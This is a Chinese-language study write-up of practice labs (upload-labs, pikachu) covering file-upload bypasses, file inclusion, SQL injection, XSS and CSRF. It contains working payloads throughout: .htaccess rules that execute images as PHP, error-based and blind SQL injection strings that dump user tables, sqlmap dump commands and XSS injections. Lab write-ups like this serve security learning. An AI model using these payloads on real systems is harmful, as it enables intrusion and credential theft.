OWASP Top 10 learning
web常见基础漏洞学习
文件上传
upload-labs环境搭建https://github.com/c0ny1/upload-labs
Pass-1-js检查
前端的js检测
PHP代码
1 |
|
可以看到只允许jpg,png,gif文件的上传。
我们可以采取删除本js检测或者通过bp抓包的方式去手动修改文件后缀。
首先准备个一句话木马,也就是webshell,名称为1.jpg。
1 |
|
js检测代码删除。
bp抓包修改jpg为php
上传成功后就可以使用蚁剑链接了。
Pass-2-MIME-TYPE验证绕过
原理:即后端对HTTP Header中的Content-Type检测。
Content-Type
返回内容的MIME类型
Content-Type: text/html; charset=utf-8
代码如下。
1 |
|
可以看到代码中必须要求上传的文件需要满足的tpye类型为image/jpeg、image/png、image/gif。
采用bp抓包修改络请求绕过。
然后同样使用蚁剑链接。
Pass-3-黑名单绕过
即对某些文件后缀进行黑名单处理。
1 |
|
看代码可以知道,不允许’.asp’,’.aspx’,’.php’,’.jsp’等文件后缀。并且重命名了文件,所以不可上传.htaccess文件。
所以尝试上传php5后缀的文件,出现了一个坑,本来的环境是用新版phpstudy配置的,但是在尝试配置Apache的conf文件时出现了一些问题,并没有起到效果,然后换了个18年的phpstudy,成功了。
为了能够上传.php5等后的文件,需要修改phpstudy文件目录下Apache下的httpd.conf。
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
修改后上传写好的.php5一句话木马,然后使用蚁剑连接即可。
Pass-4-.htaccess绕过
1 |
|
可以看到添加了跟多的黑名单,但是未过滤.htaccess,并且未修改上传文件名称,尝试上传.htaccess文件。
.htaccess的实例
<ifModule mime_module>
AddHandler php5-script .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->
AddType application/x-httpd-php .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->
Sethandler application/x-httpd-php
<!-- 将该目录及子目录下的文件均按照php文件解析执行 -->
</ifModule>
<!-- 该种匹配方式并不推荐,极易造成误伤 -->
<FilesMatch "muma.jpg">
Sethandler application/x-httpd-php
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->
Addhandler php5-script .jpg
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->
</FilesMatch>
<!-- 该种匹配方式较为精准,不会造成大批的误伤情况 -->
上传.htaccess时,不要加文件名。
然后上传个.jpg的一句话木马,蚁剑连接即可。
然后又去多搜索了下.htaccess的知识。
.htaccess原理:.htaccess文件是Apache服务器下的一个配置文件。其主要负责相关目录下的网页配置,即:在一个特定的文档目录中放置一个包含一个或多个指令的文件来对网页进行配置。
不过需要注意的是,.htaccess文件的作用域为其所在目录与其所有的子目录,不过若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。
是需要1.mod_rewrite模块开启。2.AllowOverride All,然后结合下面一句话。
AllowOverride从字面上解释是允许覆盖的意思,即Apache允许另一配置文件覆盖现有配置文件。
我们通常利用Apache的rewrite模块对URL进行重写,rewrite规则会写在 .htaccess 文件里。
但要使 apache 能够正常的读取.htaccess 文件的内容,就必须对.htaccess 所在目录进行配置。
所以可以推测,为什么能够将.jpg文件识别为.php文件的原因就是经过URL重写,jpg已经变为了php。
Pass-5-系统命名绕过
1 |
|
能过滤的都过滤了,空格,大小写,文件末尾点,::$DATA。
然后根据我自己抓包,发包的尝试,deldot函数应该是去除文件名后面所有的点。
尝试1.php. .,中间加个空格,这样先是经过deldot,去掉了最后一个点变成1.php. ,然后经过trim变成1.php.,在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。
Pass-6-大小写绕过
1 |
|
采用上面的方法是可以成功上传文件的,但是后缀没了,原因在于本样例重新进行了命名,也就是说采用上面的绕过方式,file_ext什么都没有。
但是本样例未对大小写进行判断,所以采用大小写绕过。1.Php。
Pass-7-空格绕过
1 |
|
本样例未使用trim函数,去空格,采用空格绕过。
文件名称设置为1.php 。
Pass-8-点绕过
1 |
|
未过滤文件后面的点,并且未重命名,利用windows文件特性,采用点绕过。
文件命名为1.php.。
Pass-8-流文件绕过
1 |
|
看代码可知,未过滤::$DATA,在windows创建文件时,会忽略::$DATA。
所以可以将文件命名为1.php::$DATA去绕过检测。
Pass-10-系统命名绕过
和Pass-5一样。
Pass-11-双写后缀名绕过
1 |
|
看源码可以知道,利用str_ireplace函数将常见后缀替换为了空,双写后缀绕过即可。
文件命名为1.pphphp,这样经过str_ireplace函数就会去掉中间的php,剩下1.php了。
Pass-12-GET00截断
1 |
|
可以看到,只允许上传jpg,png,gif,但是文件保存的地址前半部分通过get传参方式可以在抓包过程中给显示出来,所以可以采用00截断。
所谓00截断,就是利用了GET提交参数到服务器系统中,系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。
说白了就是保存会变成这个样子的路径,upload/1.php%004234234131.jpg。但是系统读取文件时,遇到%00就停止了,所以相当于就是1.php。
但是00截断要求比较多,截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态
Pass-13-POST00截断
1 |
|
和get00截断差不多,只是需要手动去改下hex相关位置为00,在新版burp suite中移除了hex界面,相对的,我们只需要高亮我们修改字符,然后在右侧的窗口即可修改其对应hex。
Pass-14-文件头判断
1 |
|
代码分析了文件上传的文件的前两个字节是否满足标准文件格式,然后返回了文件类型,利用返回的文件类型,重命名生成了文件。
我们可以利用图片码来绕过检测,也就是将修改webshell的前两个字节,使其能够过检测。
图片马就是向图片中插入我们的一句话木马,实际上如果只是过文件头的话,并不需要全部文件,只需要添上相应头文件就行。
网上总结的几种方法,https://www.cnblogs.com/Linkas/p/15101706.html
开始尝试上传我们自己生成的图片马,然后获取文件名称和路径。
然后这个lab也是提供了一个文件包含漏洞,使我们可以使用我们上传的图片马。
1 |
|
利用get传递一个文件,注意路径,路径一定要填对。
Pass-15-getimagesize()-图片马
1 |
|
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
此代码是type检测。
和上面同样的方式绕过。
Pass-16-exif_imagetype()-图片马
1 |
|
同样是类型检测,和上面差不多。
Pass-17-二次渲染绕过
1 |
|
采用imagecreatefromgif生成了新的图片,删除了我们的一句话木马。
二次渲染原理: 在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
所以我们只需要再次将其生成的图片给下载下来,然后继续添加我们的webshell就行。
针对不同的图片类型,添加webshell的方式也不同,https://blog.csdn.net/weixin_45519736/article/details/105775721
感觉还是gif比较好弄。
Pass-18-条件竞争
1 |
|
仔细阅读源码的话,会发现文件是先上传到了服务器,然后再检测是否满足指定后缀,如果满足,就重命名文件,不满足,就删除文件。
这时候,我们可以采用条件竞争完成文件上传的目的。实际上原理就是通过利用文件是先上传到了服务器,然后不断请求上传php一句话木马,相当于我们上传的php文件就会在某些时刻存在于服务器。
具体步骤,抓包,发送到Intruder。
clear所有$。
设置请求次数,尽量设置偏大一点。
开始攻击。
然后不断尝试访问该php文件。
Pass-19-条件竞争
1 |
|
创造了一个类来进行判断,类的php代码在myupload.php,过程如下。。
isUploadedFile,判断指定的文件是否是通过 HTTP POST 上传的。
function isUploadedFile(){
if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
return "IS_UPLOADED_FILE_FAILURE";
} else {
return 1;
}
}
setDir( $dir ),检测目录
checkExtension(),检测后缀名是否满足白名单。
function checkExtension(){
// Check if the extension is valid
if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
return "EXTENSION_FAILURE";
} else {
return 1;
}
}
checkSize(),判断是否超过设置的最大文件大小。
function checkSize(){
if( $this->cls_filesize > $this->cls_max_filesize ){
return "FILE_SIZE_FAILURE";
} else {
return 1;
}
}
判断文件是否存在,默认不存在。
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
move(),上传文件到服务器。
function move(){
if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
return "MOVE_UPLOADED_FILE_FAILURE";
} else {
return 1;
}
}
renameFile(),重命名文件。
function renameFile(){
// if no new name was provided, we use
if( $this->cls_file_rename_to == '' ){
$allchar = "abcdefghijklnmopqrstuvwxyz" ;
$this->cls_file_rename_to = "" ;
mt_srand (( double) microtime() * 1000000 );
for ( $i = 0; $i<8 ; $i++ ){
$this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ;
}
}
// Remove the extension and put it back on the new file name
$extension = strrchr( $this->cls_filename, "." );
$this->cls_file_rename_to .= $extension;
if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
return "RENAME_FAILURE";
} else {
return 1;
}
}
本样例不会删除文件,同样是先上传,然后重命名,所以可以采用条件竞争,但是有白名单限制,所以只能上传图片码,但是这样就用不着条件竞争了,而且也没文件包含漏洞呀,所以可能有点问题。
但是条件竞争可以实现,但是路径有问题,作者写php时应该忽略了个/。
Pass-19系统命名绕过
1 |
|
黑名单,可以自定义文件名称,还有这种好事,绕过的方式就多了,系统命名绕过的方式都差不多可以,还有00截断。
Pass-21-数组名称绕过
1 |
|
先是检查了下MIME-TYPE,这个好办,然后判断是否重新修改了文件名,也就是$_POST[‘save_name’],我们自己发送的,然后判断是否是个数组,如果不是数组,就以.为间隔,生成一个数组,然后取最后一个元素去判断是不是有效后缀。然后以第一个元素+.+最后一个元素组成新文件名。
这种我们就可以采用数组拼接的方式绕过,我们在抓包后,自主修改post的save_name,使其变为一个数组,然后特意将中间留空,这样重命名时,就不会读取到最后的后缀了。具体原因,没太搞懂,按道理,确实应该也会有后缀的,除非是数组长度变了,但是就算是
<?php
$cars=array("Volvo","","Toyota");
echo count($cars);
?>
结果也是3呀,说明数组长度没变,就感觉比较怪。
reference
https://blog.csdn.net/weixin_44677409/article/details/92799366
https://blog.csdn.net/Thunderclap_/article/details/108948611
https://cloud.tencent.com/developer/article/1740497
文件包含漏洞
pikachu靶场搭建https://blog.csdn.net/weixin_51446936/article/details/117789696
解决pikachu不能抓包的问题,Firefox中与 localhost、127.0.0.1/8 和 ::1 的连接永不经过代理,所以我们通过局域网的ip地址访问本地靶场即可。局域网ip地址可通过命令行查看ipconfig,IPv4 地址。
之前学文件上传漏洞的图片马中已经学到了简单的文件包含漏洞。
下面是pikachu对文件包含漏洞的概念介绍,通俗易懂,还是比较简单。
File Inclusion(文件包含漏洞)概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
你可以通过“File Inclusion”对应的测试栏目,来进一步的了解该漏洞。
File Inclusion(local)
界面叫我们随便提交一个球星名字,然后,会显示球员的一些信息。
可以发现都是通过get传参赋予file变量具体文件名称来访问文件。且多试几次都会发现名称都有规律file1.php,file2.php,file3.php。。。
利用bp的Intuder爆破。
可以看到当文件为file6.php时,泄露了密码和文件,当然,只要我们知道这个服务器包含的文件位置,也就是其本地文件,我们都可以进行访问执行。
File Inclusion(remote)
先将php.ini中的allow_url_include设置为On。
感觉没什么好说的,就是可以把本地文件变成攻击机上的webshell了。就是需要在攻击机先配好环境。
sql注入
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
实际上本质就是如果对我们输入的内容不严格过滤,然后我们就通过输入构造恶意的sql语句,使服务器向数据访问层发起恶意sql请求,然后产生相应回显,使得我们可以获得部分数字全部数据库的内容。
sql常见语句
先还是要对常见的sql语句增删查改有个了解。
创建数据库
CREATE DATABASE 数据库名;
example:
mysql> create DATABASE mytable;
删除数据库
drop database <数据库名>;
example:
mysql> drop DATABASE mytable;
选择数据库
use 数据库名;
example:
mysql> use mytable;
创建数据表
CREATE TABLE table_name (column_name column_type);//表字段名,和定义类型和值
CREATE TABLE IF NOT EXISTS `runoob_tbl`(
`runoob_id` INT UNSIGNED AUTO_INCREMENT,
`runoob_title` VARCHAR(100) NOT NULL,
`runoob_author` VARCHAR(40) NOT NULL,
`submission_date` DATE,
PRIMARY KEY ( `runoob_id` )//设置runoob_id为主键
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
删除数据表
DROP TABLE table_name ;
example:
mysql> DROP TABLE mytable;
插入数据
INSERT INTO table_name ( field1, field2,...fieldN )//field代表字段名称
VALUES
( value1, value2,...valueN );//value代表值
example:
mysql> INSERT INTO runoob_tbl
-> (runoob_title, runoob_author, submission_date)
-> VALUES
-> ("学习 PHP", "菜鸟教程", NOW());
Query OK, 1 rows affected, 1 warnings (0.01 sec)
mysql> INSERT INTO runoob_tbl
-> (runoob_title, runoob_author, submission_date)
-> VALUES
-> ("学习 MySQL", "菜鸟教程", NOW());
Query OK, 1 rows affected, 1 warnings (0.01 sec)
mysql> INSERT INTO runoob_tbl
-> (runoob_title, runoob_author, submission_date)
-> VALUES
-> ("JAVA 教程", "RUNOOB.COM", '2016-05-06');
Query OK, 1 rows affected (0.00 sec)
查询数据
SELECT column_name,column_name //查询的字段,可以是*代表所有字段
FROM table_name //数据表名称
[WHERE Clause] //条件选择
[LIMIT N][ OFFSET M] //LIMIT 属性来设定返回的记录数。 OFFSET指定SELECT语句开始查询的数据偏移量。默认情况下偏移量为0。
example:
select * from runoob_tbl; //查询整个表
UPDATE 更新
UPDATE table_name SET field1=new-value1, field2=new-value2
[WHERE Clause]
WHERE 子句,条件选择
SELECT field1, field2,...fieldN FROM table_name1, table_name2...
[WHERE condition1 [AND [OR]] condition2.....
//field为字段名称,可以查询多个字段,查询多个表,condition为条件,and和or就是且和或的意思。
LIKE 子句,进行相似比较。
SELECT field1, field2,...fieldN
FROM table_name
WHERE field1 LIKE condition1 [AND [OR]] filed2 = 'somevalue'
example:
mysql> SELECT * from runoob_tbl WHERE runoob_author LIKE '%COM';
UNION 操作符,UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据。
SELECT expression1, expression2, ... expression_n
FROM tables
[WHERE conditions]
UNION [ALL | DISTINCT] //默认为DISTINCT,删除重复的。设置为ALL则不会删除重复的。
SELECT expression1, expression2, ... expression_n
FROM tables
[WHERE conditions];
example:
SELECT country FROM Websites
UNION ALL
SELECT country FROM apps
ORDER BY country;
ORDER BY 子句,对读取的数据进行排序。
SELECT field1, field2,...fieldN FROM table_name1, table_name2...
ORDER BY field1 [ASC [DESC][默认 ASC]], [field2...] [ASC [DESC][默认 ASC]]
//对多个字段进行排序时,排序的第一个字段必须有相同的值,才会对第二个字段进行排序。如果第一个字段数据中所有的值都是唯一的,MySQL 将不再对第二个字段进行排序。
常见sql爆破信息语句,主要是利用mysql中的information_schema 结构用来存储数据库系统信息。
爆所有数据库名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名
select group_concat(column_name) from information_schema.columns where table_name=xxxx
数字性注入-post
使用HackBar,进行post传参。
由于是数值型注入,所以就不需要进行使用’进行闭合。常见的数字查找的sql语句为。
select xxcolumns from xxtable where id=input
而且这个样例,提供了6个选项,所以可以采用这样的输入来得到列的有几列
1 order by n# //n代表1~n,一个一个试 如果到哪报错了则n-1即为 列数。n后面的#号代表注释,相当于到这后面的内容就是注释了不执行。
//select xxcolumns from xxtable where id=id=1 order by 3#&submit=%E6%9F%A5%E8%AF%A2
然后就会产生这样的回显
所以可以推断出这个表的列为2。
接下来继续使用union联合查询,database()代表当前网站所使用的数据库名字,user()将会返回执行当前查询的用户名
id=1 union select database(),user()#&submit=%E6%9F%A5%E8%AF%A2
select xxcolumns from xxtable where id=1 union select database(),user()#&submit=%E6%9F%A5%E8%AF%A2
回显为,所以网站数据库名称为pikachu ,我们当前查询的用户名为root@localhost
hello,vince
your email is: vince@pikachu.com
hello,pikachu
your email is: root@localhost
获得所有数据表名称
id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&submit=%E6%9F%A5%E8%AF%A2
得到,httpinfo,member,message,users,xssblind ,可以推断出我们的表为users这个数据表。
接下来爆users表的所有字段。
id=1 union select group_concat(column_name),1 from information_schema.columns where table_name='users'#&submit=%E6%9F%A5%E8%AF%A2
得到USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level。
找到了两个字段名username,password,获得数据。
id=1 union select username,password from users#&submit=%E6%9F%A5%E8%AF%A2
密码为md5加密,可以尝试爆破。
字符型注入-get
由于是字符串型数据,所以需要闭合下。使用的是get传参
如果我们正常输入hello,则其sql语句可能就是这样。
SELECT first_name, last_name FROM users WHERE user_id = 'hello';
这时候我们就可以采用下面的输入来使’引号闭合,并且添加union联合查询。
hello' union select database(),user()#&submit=%E6%9F%A5%E8%AF%A2
然后其他的实际上和前面差不多。
搜索型注入
这里涉及到了mysql语句的like语句。
正常的like语句。
SELECT * from users WHERE user_name LIKE '%xxx'; //%代表任意字符,所以可能不止一个。
所以闭合就可能不同了,可能是%’,或者是%%’。一般是多试,或者根据回显来判断。但是实际上感觉一个’完全可以闭包呀。
这里我们先尝试’
hello'#
回显:
并没有报错
同样步骤
1' order by 4#
Unknown column '4' in 'order clause'
所以列为3。爆破数据表名。
id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
用户名中含有id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#的结果如下:
username:1
uid:2
email is: httpinfo,member,message,users,xssblind
爆破users所有字段名。
id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
用户名中含有id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#的结果如下:
username:1
uid:2
email is: USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level
xx型注入
同样是闭合问题,测试可知,估计是(‘xxx’)这种类型。
剩下的,同上方式了。
insert 注入
一个登陆界面,我们先注册账号,然后抓包看看。
采用post传参,username=123&password=123&sex=&phonenum=&email=&add=&submit=submit。
注册采用的insert插入数据,我们可以推断出sql语句如下。
insert into member(username,password,sex,phonenum,email,add) values('123','123','xx','xx','xx','xx')
sqli.reg.php
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')
而且关于这些数据是数字型还是字符型,我们可以通过’来测试。常理来说应该是字符型。
接下来就是如何泄露的问题了。联合注入不可用,改为报错注入。
报错注入就是利用某些函数参数的特点,比如说updatexml的第二个参数,需要满足xpath语法,但是我们拼接一下其他字符,就不满足,就会报错,然后会把查询结果放在报错信息中。
playload:
username= hehe' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=123&sex=&phonenum=&email=&add=&submit=submit
实际执行的sql语句。
insert into member(username,password,sex,phonenum,email,add) values('hello' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '','111','222','333','444','555')
爆表,这里是使用了substr函数,因为updatexml显示的字符长度有限。
username= 'or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
然后剩下有区别的就是爆数据了,但是有点奇怪
之前:
select username,password from users
现在:
select group_concat(concat(username,'^',password)) from users
如果我们采用之前的,会出现这种情况。
所以需要group_concat将其所有查到的数据弄成一行。
username= 'or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
update注入
和insert注入差不多。
php源码
1 |
|
必须post所有值都不为空才会有更新这一说法。
update语句为
update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'
所以可以采用和insert差不多的构造。
playload:其中的#可以不去掉。
sex=11' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '#&phonenum=123&add=123&email=123%40123.com&submit=submit
实际sql语句
update member set sex='11' and updatexml(1,concat(0x7e,(select database()),0x7e),1) ''
无#:
update member set sex='11' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '' ,phonenum='123',address='123',email='123' where username='{$_SESSION['sqli']['username']}'
剩下的就都差不多了。
delete注入
先抓包看看。
get方式,传入id。
然后看看源码,del.php
1 |
|
delete语句为
delete from message where id={$_GET['id']}
采用union联合查询貌似不行,还是用or 报错注入。
id=67 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)#
sql语句:
delete from message where id=67 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)#
得到数据表名称。
其他一致。
http header注入
tips给了账号和密码,然后登陆后会发现显示了一些请求头的信息。
主要漏洞点在sqli_header.php的这个地方。
1 |
|
insert插入语句
insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')
所以注入就是insert注入的方法,只不过playload需要写在请求头的相应位置。
爆破其他数据同insert注入
盲注-boolean
boolean注入(布尔盲注),简单来说就是没有报错回显,只会返回正误。
而我们就可以采用or的形式判断关于名称的一些信息。
比如说这个环境。正确输入username和错误输入username如下。
然后看看php源码。
1 |
|
只会返回正确或者错误的字符。
playload:
1' or 1=1#
//不可行,sql语句为select id,email from member where username='1' or 1=1#。会返回所有的id和email,导致mysqli_num_rows不是一行,返回username不正常。
playload:
lili' and 1=1#
//可行,我们这里是事先知道了lili一个名称,使用and,同真为真,并且也只会返回lili的id和email,是一行数据。
所以可以采用下面的playload来实现获得database()的字符串长度。
playload:
lili' and (length(database()))>n
测得长度为7(pikachu)
然后就可以单字节爆破了,采用substr和ord或者ascii,进行遍历0~127字符,共7轮,用python脚本实现。
playload:
lili' and ord(substr(database(),1,1))=112#
lili' and ascii(substr(database(),1,1))=112#
得到数据库名称pikachu
然后是爆破数据表,也差不多。
playload,弄成一行:
lili' and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=104#
//偏移,每次弄一个
lili' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108
httpinfo,member,message,users,xssblind
然后就是爆破字段名称了。
都差不多。
sqlmap试试。
获取所有数据库名称
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=查询" --dbs --batch
获取数据表名称
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=查询" -D pikachu --tables --batch
获取所有字段名称。
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=查询" -D pikachu -T users --columns --batch
获取数据。
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=查询" -D pikachu -T users --dump --batch
盲注-time
无论输入什么 回显都一样,无法通过回显判断了,但是可以换另一种方法,就是时间注入。
就是根据返回数据的时间差来确定是否成功。
1 |
|
可以看到,同样限制了返回数据只能有一行,所以尽量还是不要使用or了。
爆破数据库名称。
playload:
lili' and if(ord(substr(database(),1,1))=112,sleep(5),0)#
如果返回时间大于5秒,则表示正确。
剩下的爆破基本一样。
xss
XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
原理:简单来说就是如果网站未对输入内容进行过滤,我们可以输入一些闭合加JavaScript的代码,然后前端打印我们输入的字符时,就会执行这些javacript代码。
反射型xss(get)
所以可以输入,,然后点击submit。
相当于是这样。
<p class="notice"> <script>alert("The_Itach1")</script> </p>
执行了我们的script语句。
反射型xss(post)
多了一个登陆,给了admin,123456,登陆成功会生成cookie。
1 |
|
获取cookie的script代码。
先在http://127.0.0.1/1.php的1.php中写入如下语句
1 |
|
然后输入,就可以获得cookie了。
存储型xss
这种xss一般是留言板,评论,网站会将我们输入的内容存储到数据,然后显现到前端中,所以当存在xss漏洞时,只要有人访问这个网站,都会执行script语句。照成一种持续化的xss攻击。
我们还是输入,然后会发现每次我们访问这个网站,都会弹出窗口。
DOM型xss
实际上就是JavaScript的html Dom,通过 HTML DOM,可访问 JavaScript HTML 文档的所有元素,也可以修改元素。https://www.runoob.com/js/js-htmldom.html
来看看相应部分。
所以what do you see?这个里面的str可控,所以我们可以简单按照给的两种方式构造闭合下
playload1:
str='><img src="#" onmouseover="alert('xss')">
playload2:
playload2:
' onclick="alert('xss')">
DOM型xss-x
会先蹦出第一个链接,点击第一个链接会触发js代码。
js代码如下。
1 |
|
获取get传入的text,然后将+替换为’ ‘,然后写入id为dom的div。限定了位置。这里需要注意的是’”+xss+”‘, ‘’会变成””,而且”+xss+”代表的就是输入内容。html仿佛会自动默认一些东西。
playload1:
'><img src="#" onmouseover="alert('xss')">
xss之盲打
随便提交下,可以看到回显并没有在html文件中产生,并且是用post方式提交。
来看源码吧,xss_blind.php。
1 |
|
post的数据存到了数据库。
我们来看后台。
1 |
|
从数据库中提出信息,然后显示在html前端中。
所以这个盲打就是,我们输入的内容会保存到数据库,管理员登录后,会从数据库中提取消息然后展示到前端,引发xss。
xss过滤
get方式传参,会对我们输入进行过滤。
php代码如下。
1 |
|
可以看到利用正则表达式进行了过滤。
大小写绕过。
<SCRIPT>alert("The_Itach1")</SCRIPT>
xss之htmlspecialchars
1 |
|
使用htmlspecialchars函数对特定字符进行了转义。
但是未对’进行转义。所以可以使用
#' onclick='alert(/xss/)
xss之href输出
和上面一样是href,但是多加了点东西。
1 |
|
htmlspecialchars函数多加了个参数,ENT_QUOTES
ENT_QUOTES - 编码双引号和单引号。
所以上面的方法没法用了。
但是在a标签的href属性里面,可以使用javascript协议来执行js,可以尝试使用伪协议绕过。
javascript:alert(/xss/)
xss之js输出
先随便输人看看。
看看源码。
1 |
|
未对特殊字符进行转义。
闭合下
</script><script>alert("The_Itach1")</script>
CSRF
CSRF(跨站请求伪造)概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为”one click”攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录---修改会员信息,提交请求---修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
